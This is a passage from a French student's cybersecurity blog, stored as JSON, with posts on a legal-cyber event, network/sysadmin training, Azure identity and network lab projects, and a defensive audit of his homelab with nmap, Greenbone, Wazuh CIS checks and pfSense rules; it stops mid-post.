id=\"panorama-juridique-cyber-2026-ce-que-jen-ai-retenu-en-tant-quétudiant\"\u003ePanorama juridique cyber 2026, ce que j\u0026rsquo;en ai retenu en tant qu\u0026rsquo;étudiant\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eDisclaimer.\u003c/strong\u003e Je ne suis ni juriste ni avocat. Ce qui suit, c\u0026rsquo;est ce que j\u0026rsquo;ai pu saisir d\u0026rsquo;un événement du CLUSIR sur l\u0026rsquo;évolution du cadre juridique en cybersécurité. J\u0026rsquo;y suis allé par pure découverte et intérêt intellectuel, sans aucune expertise dans le domaine. Mais connaître le sujet, ne serait-ce qu\u0026rsquo;à titre de veille intellectuelle, ça me paraît important pour quelqu\u0026rsquo;un qui se forme dans ce secteur.\u003c/p\u003e","title":"Panorama juridique cyber 2026 : ce que j'en ai retenu en tant que junior"},{"content":"Ma formation ASRS : la première brique vers la cybersécurité Je termine la première étape de ma reconversion. Une première brique. Pas une fin, plutôt un socle nécessaire avant d\u0026rsquo;attaquer le Master Cybersécurité à l\u0026rsquo;Université Technologique de Troyes.\nJ\u0026rsquo;assume ce séquençage. Je ne crois pas qu\u0026rsquo;on puisse faire de la cybersécurité sans maîtriser d\u0026rsquo;abord le réseau. La couche TCP/IP, le routage, les VLANs, les protocoles d\u0026rsquo;authentification. Sans ces fondations, la cyber reste un vernis posé sur un système qu\u0026rsquo;on ne comprend pas vraiment.\nJe n\u0026rsquo;arrivais pas en terrain inconnu. Beaucoup de concepts m\u0026rsquo;étaient déjà familiers en théorie. Je savais à quoi servait un DHCP, un DNS, ce qu\u0026rsquo;était une architecture client-serveur, à quoi répondait un proxy. Ma curiosité et mon apprensitage personnel endehors de mon métier de Data analyste m\u0026rsquo;on donné ces connaissances. Ce qui me manquait, c\u0026rsquo;était la pratique. Avoir vraiment configuré Bind9 sur Debian. Posé un Active Directory de bout en bout. Écrit des règles iptables sur une vraie interface. La distance entre connaître la définition d\u0026rsquo;un DNS et taper named-checkzone la première fois est plus large qu\u0026rsquo;elle n\u0026rsquo;en a l\u0026rsquo;air.\nLes blocs techniques Côté réseau, j\u0026rsquo;ai appris à raisonner par couche. La segmentation VLAN qui isole en couche 2, le routage inter-VLAN en couche 3, les ACLs qui filtrent les flux. Le tunnel IPsec site-à-site avec ses deux phases IKE, le choix d\u0026rsquo;AES-256 et de Perfect Forward Secrecy. Et puis le diagnostic MTU sur du VXLAN, qui m\u0026rsquo;a fait perdre trois jours avant de comprendre que mes paquets HTTP étaient fragmentés à cause d\u0026rsquo;un overhead que je n\u0026rsquo;avais pas vu venir. Ce sont des notions que je manipule maintenant, plus juste que je récite.\nActive Directory a été le morceau le plus marquant côté système. La méthodologie AGDLP pour gérer les permissions à grande échelle. La pose d\u0026rsquo;un RODC avec sa Password Replication Policy stricte sur un site distant. L\u0026rsquo;automatisation via Ansible avec son authentification Kerberos exigeante, où chaque détail compte : realm en majuscules, FQDN obligatoire dans l\u0026rsquo;inventaire, synchronisation horaire à moins de cinq minutes. Une leçon qui me suit partout maintenant : dans un environnement Windows, DNS est le socle de tout. Une corruption du rôle DNS pendant un projet m\u0026rsquo;a coûté une journée à remonter l\u0026rsquo;infra. Je ne l\u0026rsquo;oublierai pas.\nSur la sécurité, les principes se sont ancrés à force d\u0026rsquo;être appliqués. La défense en profondeur, qui empile plusieurs couches au lieu de compter sur un seul rempart. Le moindre privilège, jusqu\u0026rsquo;au détail des droits MySQL où l\u0026rsquo;utilisateur applicatif n\u0026rsquo;a que CRUD, et seulement depuis l\u0026rsquo;IP du serveur web. Le pentest Active Directory du projet 12, où j\u0026rsquo;ai compromis un domaine en neuf étapes. Ce qui m\u0026rsquo;a frappé là, c\u0026rsquo;est que chaque vulnérabilité de la chaîne était évitable avec des mesures basiques. Mot de passe robuste, pas de credentials dans une description LDAP, LAPS pour les admins locaux. Rien d\u0026rsquo;exotique. Les défenseurs sous-estiment l\u0026rsquo;enchaînement. Les attaquants le connaissent par cœur.\nLa sécurité est partout C\u0026rsquo;est l\u0026rsquo;apprentissage qui dépasse le cadre technique. Je ne pense pas qu\u0026rsquo;on puisse encore concevoir un projet IT sans intégrer la sécurité à chaque étage. Il y a vingt ans, certains métiers tech vivaient avec la sécurité comme un sujet périphérique. Ce n\u0026rsquo;est plus tenable. Le contexte français, le contexte mondial, les attaques quotidiennes contre les hôpitaux, les collectivités, les PME. Tout pousse à ce que chaque couche d\u0026rsquo;une entreprise développe ses propres réflexes.\nLes compétences cyber ne sont plus l\u0026rsquo;apanage du RSSI. Un dev qui code sans penser injection SQL, un sysadmin qui ouvre un port 3306 sans restreindre l\u0026rsquo;IP source, un chef de projet qui ne pose pas la question de la classification des données. Tous laissent passer des choses. La cyber n\u0026rsquo;est pas un département. C\u0026rsquo;est une posture transversale, partagée à des degrés différents selon le rôle.\nCe que mes douze ans de data apportent Une chose m\u0026rsquo;a frappé pendant la formation. La technique pure ne suffit pas. Sur les soutenances, ce qui m\u0026rsquo;a aidé n\u0026rsquo;était pas la maîtrise de telle configuration. C\u0026rsquo;était la capacité à structurer un argumentaire, à défendre un choix d\u0026rsquo;architecture, à reformuler quand l\u0026rsquo;évaluateur ne suivait pas. Douze ans en data analyst, c\u0026rsquo;est aussi douze ans de réunions avec des métiers exigeants, de présentations à des comités, d\u0026rsquo;arbitrages permanents entre le souhaitable et le faisable.\nCette posture se transpose presque sans effort. La gestion de projet, la prise de hauteur, le pragmatisme face à un délai. Une base commune à beaucoup de métiers tech. Et je crois qu\u0026rsquo;elle va peser encore plus avec l\u0026rsquo;arrivée des outils d\u0026rsquo;IA dans les pratiques quotidiennes.\nL\u0026rsquo;IA, un outil à utiliser intelligemment Quand j\u0026rsquo;étais data analyst, je trouvais déjà que passer trois heures sur debboguer une ligne SQL n\u0026rsquo;apportait pas grand-chose. La valeur ajoutée était ailleurs. Dans la compréhension du besoin client. Dans la qualité de la donnée. Dans le choix des contrôles à poser. La technique reste utile. Elle se subordonne à la compréhension, ce n\u0026rsquo;est pas pareil.\nLa formation ASRS m\u0026rsquo;a confirmé l\u0026rsquo;intuition à une autre échelle. Le nombre de commandes, d\u0026rsquo;options, de syntaxes à connaître est tel qu\u0026rsquo;il est impossible de tout maîtriser dans une vie. Configurations Cisco, PowerShell, Bash, modules Apache, options rsync. Chaque outil a son océan. L\u0026rsquo;IA a été pour moi un compagnon précieux pendant cette formation, à condition de l\u0026rsquo;utiliser de la bonne manière. Pas en script kiddie qui copie-colle sans lire. En outil pédagogique. Je demande à l\u0026rsquo;IA de m\u0026rsquo;expliquer ce qu\u0026rsquo;elle propose, je décompose chaque option, je vérifie sur la doc officielle, j\u0026rsquo;adapte au contexte. Quand je saute cette étape, je le paie. Toujours.\nCe qu\u0026rsquo;un ingénieur en cybersécurité doit savoir faire, ce n\u0026rsquo;est pas de réciter des commandes. C\u0026rsquo;est comprendre une architecture, savoir pourquoi on a fait tel choix, pouvoir le justifier devant un audit, identifier les compromis qu\u0026rsquo;on a acceptés.\nCe que je garde Trois choses solides à l\u0026rsquo;issue de cette première brique. Une culture technique large : réseau, système, AD, sécurité, supervision, scripting, virtualisation. Des réflexes méthodologiques qui sont devenus des automatismes, notamment le troubleshooting par couches et la vérification systématique avant chaque redémarrage de service. Et une conviction renforcée. La cyber est partout, et la posture compte autant que la commande qu\u0026rsquo;on tape.\nMaintenant, place au Master.\nLes configurations, scripts et livrables détaillés des projets seront publiés progressivement sur mon GitHub, projet par projet. Les retours d\u0026rsquo;expérience techniques feront l\u0026rsquo;objet d\u0026rsquo;articles séparés sur ce blog.\n","permalink":"https://appercel-clement.netlify.app/posts/article-bilan-formation-asrs/","summary":"\u003ch1 id=\"ma-formation-asrs--la-première-brique-vers-la-cybersécurité\"\u003eMa formation ASRS : la première brique vers la cybersécurité\u003c/h1\u003e\n\u003cp\u003eJe termine la première étape de ma reconversion. Une première brique. Pas une fin, plutôt un socle nécessaire avant d\u0026rsquo;attaquer le Master Cybersécurité à l\u0026rsquo;Université Technologique de Troyes.\u003c/p\u003e\n\u003cp\u003eJ\u0026rsquo;assume ce séquençage. Je ne crois pas qu\u0026rsquo;on puisse faire de la cybersécurité sans maîtriser d\u0026rsquo;abord le réseau. La couche TCP/IP, le routage, les VLANs, les protocoles d\u0026rsquo;authentification. Sans ces fondations, la cyber reste un vernis posé sur un système qu\u0026rsquo;on ne comprend pas vraiment.\u003c/p\u003e","title":"Ma formation ASRS : la première brique vers la cybersécurité"},{"content":"Identity \u0026amp; Zero Trust sur Azure : ce qu\u0026rsquo;on peut faire sans licence P2 Le Projet 2 de mon lab Azure portait sur le domaine le plus lourd de l\u0026rsquo;AZ-500 : la gestion des identités et des accès. Environ 30% des questions de l\u0026rsquo;examen gravitent autour d\u0026rsquo;Entra ID, du RBAC, de PIM et du Conditional Access. Difficile de faire l\u0026rsquo;impasse.\nCe que je n\u0026rsquo;avais pas anticipé : une bonne partie de ces fonctionnalités est verrouillée derrière des licences que Microsoft refuse d\u0026rsquo;accorder aux comptes personnels. Cet article raconte ce que j\u0026rsquo;ai réussi à faire, ce que j\u0026rsquo;ai compris sans pouvoir le tester, et pourquoi la contrainte de licence est en soi une leçon utile.\nLes configs et commandes détaillées sont sur GitHub.\nL\u0026rsquo;identité comme nouveau périmètre Dans un réseau traditionnel, le périmètre de sécurité c\u0026rsquo;est le firewall. Tout ce qui est derrière est \u0026ldquo;de confiance\u0026rdquo;, tout ce qui vient de l\u0026rsquo;extérieur est suspect. Zero Trust casse cette logique : plus de périmètre réseau par défaut, chaque accès est vérifié indépendamment de l\u0026rsquo;origine.\nConcrètement dans Azure, ça signifie que l\u0026rsquo;identité devient le point de contrôle central. Un NSG mal configuré est un problème. Un compte compromis avec des droits Owner sur l\u0026rsquo;abonnement, c\u0026rsquo;est une catastrophe. D\u0026rsquo;où l\u0026rsquo;intérêt de vraiment comprendre Entra ID avant de toucher à Defender ou Key Vault.\nVenant de douze ans en BI bancaire où on gérait des droits d\u0026rsquo;accès sur des bases de données Oracle et des espaces Power BI, j\u0026rsquo;avais une intuition de la gestion des accès. Mais le modèle Entra ID est structurellement différent, et ça valait la peine de tout reprendre depuis le début.\nCe qu\u0026rsquo;Entra ID est vraiment Premier point à clarifier : Entra ID (anciennement Azure Active Directory) n\u0026rsquo;est pas un simple annuaire. C\u0026rsquo;est le service d\u0026rsquo;identité cloud de Microsoft, qui gère les utilisateurs, les groupes, les applications et les appareils d\u0026rsquo;un tenant. Le tenant, c\u0026rsquo;est le niveau d\u0026rsquo;isolation le plus haut : une entreprise = un tenant, ou plusieurs dans le cas de grandes structures avec filiales.\nLa distinction qui surprend quand on arrive sur Azure : les rôles Entra ID et les rôles Azure RBAC sont deux systèmes complètement séparés. Être Global Administrator dans Entra ID ne donne aucun droit sur les ressources Azure (VMs, storage, réseaux). Et inversement, un Owner sur un abonnement Azure n\u0026rsquo;a pas forcément des droits d\u0026rsquo;administration sur l\u0026rsquo;annuaire. C\u0026rsquo;est un piège classique aux examens, et ça crée de vraies confusions en production.\nLes protocoles d\u0026rsquo;authentification, aussi. Entra ID utilise OIDC pour l\u0026rsquo;authentification et OAuth2 pour l\u0026rsquo;autorisation. Kerberos reste présent dans les environnements hybrides avec Active Directory on-premise, mais il n\u0026rsquo;entre pas en jeu pour les authentifications cloud natives. La distinction OIDC / OAuth2 / Kerberos revient régulièrement dans les questions AZ-500.\nRBAC en pratique Pour toucher quelque chose de concret, j\u0026rsquo;ai créé un utilisateur de test dans le tenant et lui ai assigné le rôle Lecteur sur le resource group Projet-Azure-1. L\u0026rsquo;objectif était de valider la mécanique : quelle est la différence entre assigner un rôle au niveau de l\u0026rsquo;abonnement vs au niveau d\u0026rsquo;un resource group vs au niveau d\u0026rsquo;une ressource individuelle ?\nLa réponse est dans le concept de scope. Un rôle s\u0026rsquo;hérite vers le bas : un Lecteur assigné à l\u0026rsquo;abonnement peut lire toutes les ressources de tous les resource groups. Assigné uniquement sur Projet-Azure-1, il ne voit que ce resource group. C\u0026rsquo;est le principe du moindre privilège appliqué concrètement.\nLa vérification via \u0026ldquo;Vérifier l\u0026rsquo;accès\u0026rdquo; dans le portail IAM confirme visuellement les permissions d\u0026rsquo;un utilisateur sur une ressource donnée. Pratique pour auditer sans avoir à se connecter avec le compte de l\u0026rsquo;utilisateur.\nLes identités managées méritent une mention à part. Quand la VM du Projet 1 avait besoin d\u0026rsquo;interagir avec d\u0026rsquo;autres services Azure, l\u0026rsquo;alternative à stocker des credentials dans le code c\u0026rsquo;est d\u0026rsquo;utiliser une identité managée : Azure assigne automatiquement une identité à la ressource et gère le cycle de vie des tokens. Dans IAM, elle apparaît comme n\u0026rsquo;importe quel autre principal avec un rôle assigné.\nLe mur de la licence PIM — Privileged Identity Management — répond au problème des privilèges permanents. Plutôt qu\u0026rsquo;assigner un rôle Owner en permanence à un compte, PIM permet de le rendre \u0026ldquo;eligible\u0026rdquo; : l\u0026rsquo;utilisateur demande l\u0026rsquo;élévation pour une durée limitée, avec une justification, éventuellement soumise à approbation. Concept JIT, zéro standing privileges. Beaucoup d\u0026rsquo;organisations devraient l\u0026rsquo;avoir sur leurs comptes à privilèges élevés. Beaucoup ne l\u0026rsquo;ont pas.\nConditional Access fonctionne sur une logique SI/ALORS : si un utilisateur se connecte depuis un appareil non reconnu ET hors du réseau de l\u0026rsquo;entreprise, alors forcer le MFA. Ou bloquer. Les politiques peuvent cibler des applications spécifiques, des groupes d\u0026rsquo;utilisateurs, des niveaux de risque détectés par Identity Protection.\nLes deux nécessitent une licence Entra ID P2 (ou M365 E5 qui l\u0026rsquo;inclut). Avec un compte Azure PAYG personnel, le trial P2 est refusé. Le Microsoft 365 Developer Program, qui aurait fourni un tenant E5 complet, refuse les comptes personnels depuis que Microsoft a durci ses critères en 2023. J\u0026rsquo;ai tenté avec un compte Outlook neuf : même résultat.\nJe ne vais pas prétendre que j\u0026rsquo;ai pratiqué PIM et Conditional Access. J\u0026rsquo;ai vu les interfaces, compris les concepts, documenté le blocage. Sur le terrain, cette contrainte de licence arrive aussi en PME : \u0026ldquo;on ne peut pas activer PIM parce qu\u0026rsquo;on n\u0026rsquo;a pas P2\u0026rdquo; est une vraie conversation, pas juste un cas de lab.\nCe que les journaux racontent Ce qui était accessible sans licence supplémentaire : les journaux de connexion et les journaux d\u0026rsquo;audit Entra ID, dans Surveillance et Intégrité.\nLes journaux de connexion enregistrent chaque tentative d\u0026rsquo;authentification : qui, quand, depuis quelle IP et quel agent utilisateur, résultat, niveau de risque, et l\u0026rsquo;état du Conditional Access au moment de la connexion. Sur mon tenant, toutes les lignes affichent \u0026ldquo;Conditional Access : non appliqué\u0026rdquo; faute de politiques actives. Ça donne quand même une idée de ce qu\u0026rsquo;un analyste SOC surveille. Les patterns d\u0026rsquo;attaque se lisent directement dans les logs. Une tentative de Password Spraying se voit à l\u0026rsquo;œil nu : même IP, codes d\u0026rsquo;erreur d\u0026rsquo;authentification, comptes différents, intervalles de quelques secondes.\nLes journaux d\u0026rsquo;audit, c\u0026rsquo;est autre chose. Là où les journaux de connexion tracent les authentifications, les journaux d\u0026rsquo;audit tracent les actions d\u0026rsquo;administration : création d\u0026rsquo;un utilisateur, modification d\u0026rsquo;un rôle, changement d\u0026rsquo;une politique. En remontant au 30 avril, j\u0026rsquo;ai retrouvé l\u0026rsquo;événement \u0026ldquo;Add user\u0026rdquo; correspondant à la création du compte de test, avec toutes les propriétés renseignées au moment de la création. C\u0026rsquo;est la piste d\u0026rsquo;audit de l\u0026rsquo;annuaire, l\u0026rsquo;équivalent du changelog d\u0026rsquo;une base de données, mais pour les identités.\nLa suite Le Projet 3 porte sur Defender for Cloud et Microsoft Sentinel. La question de la licence ne disparaît pas, mais Sentinel a ses propres mécanismes, à explorer.\nPour PIM et Conditional Access en pratique, il faudra soit un tenant organisationnel, soit une opportunité en stage ou en poste. Les concepts sont là.\nCe que j\u0026rsquo;en retiens Le domaine Identity \u0026amp; Access se structure bien une fois qu\u0026rsquo;on a compris les deux ou trois distinctions fondamentales : Entra ID vs RBAC Azure, OIDC vs OAuth2 vs Kerberos, rôle eligible vs rôle active. Le reste découle de là. Ce n\u0026rsquo;est pas le domaine le plus difficile techniquement, c\u0026rsquo;est surtout celui où les confusions de vocabulaire coûtent cher.\nLa contrainte de licence est frustrante mais réaliste. Savoir expliquer pourquoi ces fonctionnalités manquent dans une organisation et ce que ça implique pour la posture de sécurité, c\u0026rsquo;est une compétence utile. Peut-être plus utile que de les avoir configurées en lab sans comprendre le contexte.\nCe qui m\u0026rsquo;a pris le plus de temps sur ce projet, c\u0026rsquo;est de trouver où chercher l\u0026rsquo;information dans le portail. Azure réorganise régulièrement ses menus. Les journaux de connexion se trouvent à deux endroits différents selon qu\u0026rsquo;on arrive par le menu Utilisateurs ou par Surveillance et Intégrité. Pas un problème technique, juste une question d\u0026rsquo;habitude.\nConfigurations et commandes disponibles sur GitHub. Projet suivant : Defender for Cloud + Microsoft Sentinel.\n","permalink":"https://appercel-clement.netlify.app/posts/identity-zero-trust-azure-sans-licence-p2/","summary":"\u003ch1 id=\"identity--zero-trust-sur-azure--ce-quon-peut-faire-sans-licence-p2\"\u003eIdentity \u0026amp; Zero Trust sur Azure : ce qu\u0026rsquo;on peut faire sans licence P2\u003c/h1\u003e\n\u003cp\u003eLe Projet 2 de mon lab Azure portait sur le domaine le plus lourd de l\u0026rsquo;AZ-500 : la gestion des identités et des accès. Environ 30% des questions de l\u0026rsquo;examen gravitent autour d\u0026rsquo;Entra ID, du RBAC, de PIM et du Conditional Access. Difficile de faire l\u0026rsquo;impasse.\u003c/p\u003e\n\u003cp\u003eCe que je n\u0026rsquo;avais pas anticipé : une bonne partie de ces fonctionnalités est verrouillée derrière des licences que Microsoft refuse d\u0026rsquo;accorder aux comptes personnels. Cet article raconte ce que j\u0026rsquo;ai réussi à faire, ce que j\u0026rsquo;ai compris sans pouvoir le tester, et pourquoi la contrainte de licence est en soi une leçon utile.\u003c/p\u003e","title":"Identity et Zero Trust sur Azure : ce qu'on peut faire sans licence"},{"content":"Je vais être direct : ce projet est basique. C\u0026rsquo;est voulu.\nÇa fait plusieurs mois que je travaille sur mon homelab, pfSense, Proxmox, VLANs, Wazuh, et je voulais enfin me confronter à Azure pour de vrai. Pas juste parcourir la documentation pour préparer l\u0026rsquo;AZ-900. Alors j\u0026rsquo;ai ouvert un compte PAYG et j\u0026rsquo;ai commencé par le plus simple : poser une base réseau sécurisée, comprendre la logique du portail, et ne pas me retrouver avec une facture inattendue à la fin du mois.\nC\u0026rsquo;est le premier d\u0026rsquo;une série de quatre projets pour couvrir le terrain de l\u0026rsquo;AZ-500 avant d\u0026rsquo;entrer en master cybersécurité en septembre.\nLa chose qui m\u0026rsquo;a pris le plus de temps à vraiment saisir Sur mon homelab, quand je pense \u0026ldquo;réseau\u0026rdquo;, je pense topologie : un switch MikroTik, un pfSense, des câbles, des VLANs avec leurs sous-réseaux. Chaque élément a une place dans un rack ou sur une étagère.\nSur Azure, tout tourne autour du Resource Group. C\u0026rsquo;est un conteneur logique : machine virtuelle, réseau, règles de sécurité, tout vit dedans. Supprimer le Resource Group, c\u0026rsquo;est supprimer l\u0026rsquo;intégralité du projet en un clic.\nLa hiérarchie n\u0026rsquo;est pas visuelle ou spatiale, elle est administrative. Sur pfSense, je vois mon réseau parce que j\u0026rsquo;ai branché les câbles. Sur Azure, je le construis en déclarant des ressources qui se référencent entre elles. C\u0026rsquo;est une autre façon de penser. Je ne dirais pas que c\u0026rsquo;est plus compliquée, c\u0026rsquo;est juste que le modèle mental est différent et qu\u0026rsquo;il faut le temps de le construire.\nCe que j\u0026rsquo;ai construit Un VNet avec trois sous-réseaux : subnet-mgmt pour l\u0026rsquo;administration, subnet-app pour les workloads applicatifs, et AzureBastionSubnet réservé pour Azure Bastion que je testerai dans un prochain sprint.\nLes deux sous-réseaux principaux sont en mode privé, sans accès internet sortant par défaut. Pour que subnet-app puisse joindre internet, j\u0026rsquo;ai ajouté une NAT Gateway. Petit détail à ne pas oublier : elle génère un coût fixe même quand toutes les VMs sont éteintes. La règle que j\u0026rsquo;ai adoptée, supprimer la NAT Gateway entre les sessions et la recréer en cinq minutes au démarrage.\nLes Network Security Groups jouent un rôle proche de pfSense au niveau du sous-réseau. À la différence que pfSense travaille en L7 et les NSGs s\u0026rsquo;arrêtent au L4, mais l\u0026rsquo;idée est la même : des règles avec priorité numérique, entrantes et sortantes. J\u0026rsquo;en ai configuré deux :\nnsg-mgmt : bloque le trafic entrant depuis subnet-app et interdit l\u0026rsquo;accès internet en sortie nsg-app : autorise SSH depuis Bastion et depuis mon IP personnelle, bloque le trafic vers subnet-mgmt Pour tester, j\u0026rsquo;ai déployé une VM Ubuntu sur subnet-app. Premier accroc : la famille de VM que j\u0026rsquo;avais choisie avait un quota à zéro sur France Central. Azure l\u0026rsquo;indique clairement dans le message d\u0026rsquo;erreur, j\u0026rsquo;ai basculé sur une autre famille sans perdre plus de cinq minutes.\nGouvernance dès le départ Une chose qui m\u0026rsquo;a surpris positivement : la gouvernance est accessible dès les premiers projets, pas réservée aux architectures de prod à cinquante ressources. J\u0026rsquo;ai configuré deux politiques sur le Resource Group via Azure Policy.\nLa première hérite automatiquement les étiquettes du groupe de ressources sur chaque nouvelle ressource créée. Ça paraît anecdotique, mais c\u0026rsquo;est exactement le genre de chose qu\u0026rsquo;on oublie systématiquement dans une infra qui grossit. Le chaos de facturation en entreprise commence souvent là.\nLa seconde restreint les régions autorisées à France Central uniquement. C\u0026rsquo;est une politique de type Deny, elle bloque la création à la source plutôt que de signaler après coup. Le cas d\u0026rsquo;usage concret : empêcher qu\u0026rsquo;une ressource soit déployée dans une région non approuvée, pour des raisons de coût ou de localisation des données au sens RGPD.\nCe qui m\u0026rsquo;a aidé à saisir la mécanique : une politique Modify doit agir sur des ressources existantes, donc elle a besoin d\u0026rsquo;une identité managée pour avoir les droits nécessaires. Une politique Deny bloque la requête avant que la ressource soit créée, il n\u0026rsquo;y a rien à modifier, donc pas d\u0026rsquo;identité. La distinction fait sens une fois formulée comme ça.\nCe que j\u0026rsquo;en retiens Azure est bien pensé pour quelqu\u0026rsquo;un qui vient de l\u0026rsquo;écosystème Microsoft. J\u0026rsquo;ai retrouvé des réflexes de Power BI : interface en français, navigation par panneaux successifs, logique de recherche dans la barre globale. Ça ne veut pas dire que tout est simple, mais l\u0026rsquo;interface ne rajoute pas de friction inutile. La prise en main est honnête.\nCe qui demande de la discipline, c\u0026rsquo;est l\u0026rsquo;organisation. Tagging dès le départ, scope des politiques bien défini, règle d\u0026rsquo;hygiène sur les ressources facturées même à l\u0026rsquo;arrêt. Je retrouve exactement les mêmes réflexes que sur une infra physique bien tenue. La différence, c\u0026rsquo;est que sur Azure les erreurs d\u0026rsquo;organisation ont un coût direct et immédiat sur la facture.\nJe suis ressorti de ce premier projet avec une question que je n\u0026rsquo;avais pas au départ : jusqu\u0026rsquo;où la logique Resource Group tient-elle quand on multiplie les environnements et les équipes ? Je pense que c\u0026rsquo;est exactement là que le Projet 2 sur l\u0026rsquo;identité et les accès va devenir intéressant.\nLa suite Tester Azure Bastion en tier Developer sur ce même projet Projet 2 : Identity \u0026amp; Zero Trust — Entra ID, RBAC, Privileged Identity Management, Conditional Access Les configurations de ce projet sont disponibles sur GitHub.\n","permalink":"https://appercel-clement.netlify.app/posts/premiers-pas-azure-secure-foundation/","summary":"\u003cp\u003eJe vais être direct : ce projet est basique. C\u0026rsquo;est voulu.\u003c/p\u003e\n\u003cp\u003eÇa fait plusieurs mois que je travaille sur mon homelab, pfSense, Proxmox, VLANs, Wazuh, et je voulais enfin me confronter à Azure pour de vrai. Pas juste parcourir la documentation pour préparer l\u0026rsquo;AZ-900. Alors j\u0026rsquo;ai ouvert un compte PAYG et j\u0026rsquo;ai commencé par le plus simple : poser une base réseau sécurisée, comprendre la logique du portail, et ne pas me retrouver avec une facture inattendue à la fin du mois.\u003c/p\u003e","title":"Premiers pas sur Azure : monter une base réseau sécurisée"},{"content":" ⚠️ Disclaimer\nCe que je décris ici correspond à ma propre démarche sur mon infrastructure personnelle. Il peut y avoir des erreurs ou des approximations : j\u0026rsquo;apprends, et c\u0026rsquo;est précisément pour ça que je fais ce genre d\u0026rsquo;audit. Ne prenez pas ça comme une référence absolue, mais comme un retour d\u0026rsquo;expérience honnête.\nPourquoi auditer ce qu\u0026rsquo;on vient de construire J\u0026rsquo;avais passé plusieurs semaines à segmenter mon réseau en 5 VLANs, configurer pfSense, brancher Wazuh, mettre en place du monitoring. Sur le papier, l\u0026rsquo;architecture était propre. Mais j\u0026rsquo;avais une question qui traînait : est-ce que tout ça tient vraiment, ou est-ce que je me raconte des histoires ?\nMonter une infra sécurisée sans jamais vérifier ce qu\u0026rsquo;elle expose, c\u0026rsquo;est un peu comme installer une alarme sans tester si elle se déclenche. Ça m\u0026rsquo;a semblé être le bon moment pour faire un vrai audit, pas juste une revue de config à la main.\nJ\u0026rsquo;ai découpé le travail en 4 blocs distincts : scan réseau avec nmap pour valider l\u0026rsquo;isolation des VLANs, scan de vulnérabilités avec Greenbone Community Edition, durcissement Proxmox avec les CIS Benchmarks via Wazuh SCA, et revue des règles firewall pfSense. Environ huit heures de travail étalées sur plusieurs sessions.\nLes résultats des 5 tâches de scan Greenbone sur l\u0026rsquo;ensemble de l\u0026rsquo;infra\nBloc 1 : est-ce que mes VLANs s\u0026rsquo;isolent vraiment ? La première question était simple : un hôte dans un VLAN peut-il joindre quelque chose dans un autre VLAN sans passer par pfSense ? Pour vérifier ça, j\u0026rsquo;ai lancé des scans nmap depuis ma VM Kali sur chaque subnet, et j\u0026rsquo;ai observé ce qui remontait.\nL\u0026rsquo;isolation fonctionnait. Aucun trafic inter-VLAN ne passait en dehors des règles pfSense. Mais les scans ont quand même révélé des choses que j\u0026rsquo;aurais préféré ne pas voir. Le MikroTik CRS310 exposait telnet (port 23) et FTP (port 21) sur le VLAN de management. Deux protocoles qui transmettent les identifiants en clair. J\u0026rsquo;avais mis ça de côté à la configuration initiale en me disant \u0026ldquo;je le ferai plus tard\u0026rdquo;. Plus tard était arrivé.\nJ\u0026rsquo;ai aussi trouvé un hôte inconnu sur le VLAN IoT (192.168.40.110) avec une adresse MAC aléatoire. Probablement un smartphone en train de sonder le réseau. Pas de port ouvert, mais sa présence m\u0026rsquo;a rappelé que le VLAN IoT restait exposé à ce genre de bruit de fond.\nBloc 2 : Greenbone et les 4 Critical qui ne l\u0026rsquo;étaient pas vraiment Greenbone Community Edition fait des scans de vulnérabilités avec une base CVE à jour. J\u0026rsquo;avais déployé la VM sur le VLAN Lab, configuré les credentials SSH pour les scans authentifiés, et lancé 5 tâches couvrant l\u0026rsquo;ensemble de l\u0026rsquo;infra.\nLe résultat le plus frappant : 4 vulnérabilités Critical (CVSS 9.8) sur mes nœuds Proxmox. En ouvrant les rapports, la réalité était beaucoup moins dramatique. C\u0026rsquo;était uniquement des packages Debian non mis à jour : libxml2, libxml-parser-perl, libnss3. Un simple apt update \u0026amp;\u0026amp; apt upgrade a tout réglé en cinq minutes. J\u0026rsquo;ai aussi installé unattended-upgrades pour que ça n\u0026rsquo;arrive plus.\nLa galère inattendue, c\u0026rsquo;était le NAS. Le scanner Greenbone avait déclenché le mécanisme de protection SSH du Synology : trop de tentatives de connexion en peu de temps, et l\u0026rsquo;IP de la VM Greenbone s\u0026rsquo;est retrouvée bloquée pour une durée infinie. Il a fallu débloquer manuellement dans DSM, passer la durée de blocage à 1 jour au lieu de l\u0026rsquo;infini, corriger les permissions SSH qui causaient l\u0026rsquo;échec du scan authentifié (le home directory kurgran était world-writable à cause des ACL DSM), et relancer le scan. Au final, le NAS était à jour et les seules vraies findings étaient liées à SNMP, une décision volontaire de ma part pour le moment.\nBloc 3 : le score CIS à 38% Wazuh intègre un module SCA (Security Configuration Assessment) qui scanne la machine locale contre des benchmarks de référence. J\u0026rsquo;avais ciblé le nœud Proxmox principal (ASUS NUC, 192.168.20.94) avec le CIS Debian Linux 12 Benchmark.\nScore de départ : 38%. 72 checks passés sur 207.\nC\u0026rsquo;est honnêtement ce à quoi je m\u0026rsquo;attendais pour une Debian fraîche installée comme hyperviseur. Proxmox n\u0026rsquo;est pas conçu pour être un serveur durci par défaut, il est conçu pour faire tourner des VMs facilement.\nJ\u0026rsquo;ai travaillé section par section : durcissement SSH (PermitRootLogin, MaxAuthTries, les algorithmes MAC), politiques de mots de passe avec PAM (pwquality, faillock, login.defs), installation et configuration de sudo, et enfin auditd.\nSur auditd, j\u0026rsquo;ai eu une erreur bête qui m\u0026rsquo;a pris du temps. J\u0026rsquo;avais mis des commentaires en fin de ligne dans le fichier de règles, du type -w /etc/passwd -p wa -k identity # surveille les comptes. Le parseur auditd ne supporte pas les commentaires inline : il faut que le # soit en début de ligne. Résultat, augenrules --load montrait \u0026ldquo;No rules\u0026rdquo; et rien ne se chargeait. Une fois les commentaires déplacés sur leurs propres lignes, tout est passé. 19 règles actives en mémoire noyau, mode immutable -e 2 en dernière position pour empêcher toute modification sans redémarrage.\n45 checks sont documentés comme exceptions : le partitionnement séparé de /tmp, /home et /var qui nécessiterait une réinstallation complète, AppArmor risqué sur un hyperviseur Proxmox, et rpcbind qu\u0026rsquo;on ne peut pas supprimer sans casser Proxmox VE. Des choix qui ont du sens dans ce contexte, pas des oublis.\nScore après corrections : 47% sur le CIS Debian 12 Benchmark (87 checks passés sur 207)\nBloc 4 : les règles pfSense qu\u0026rsquo;on oublie La revue des règles firewall pfSense m\u0026rsquo;a réservé quelques surprises. J\u0026rsquo;avais des règles orphelines référençant des alias qui n\u0026rsquo;existaient plus (192.168.0.x, adressage d\u0026rsquo;avant la segmentation). Elles ne causaient pas de problème 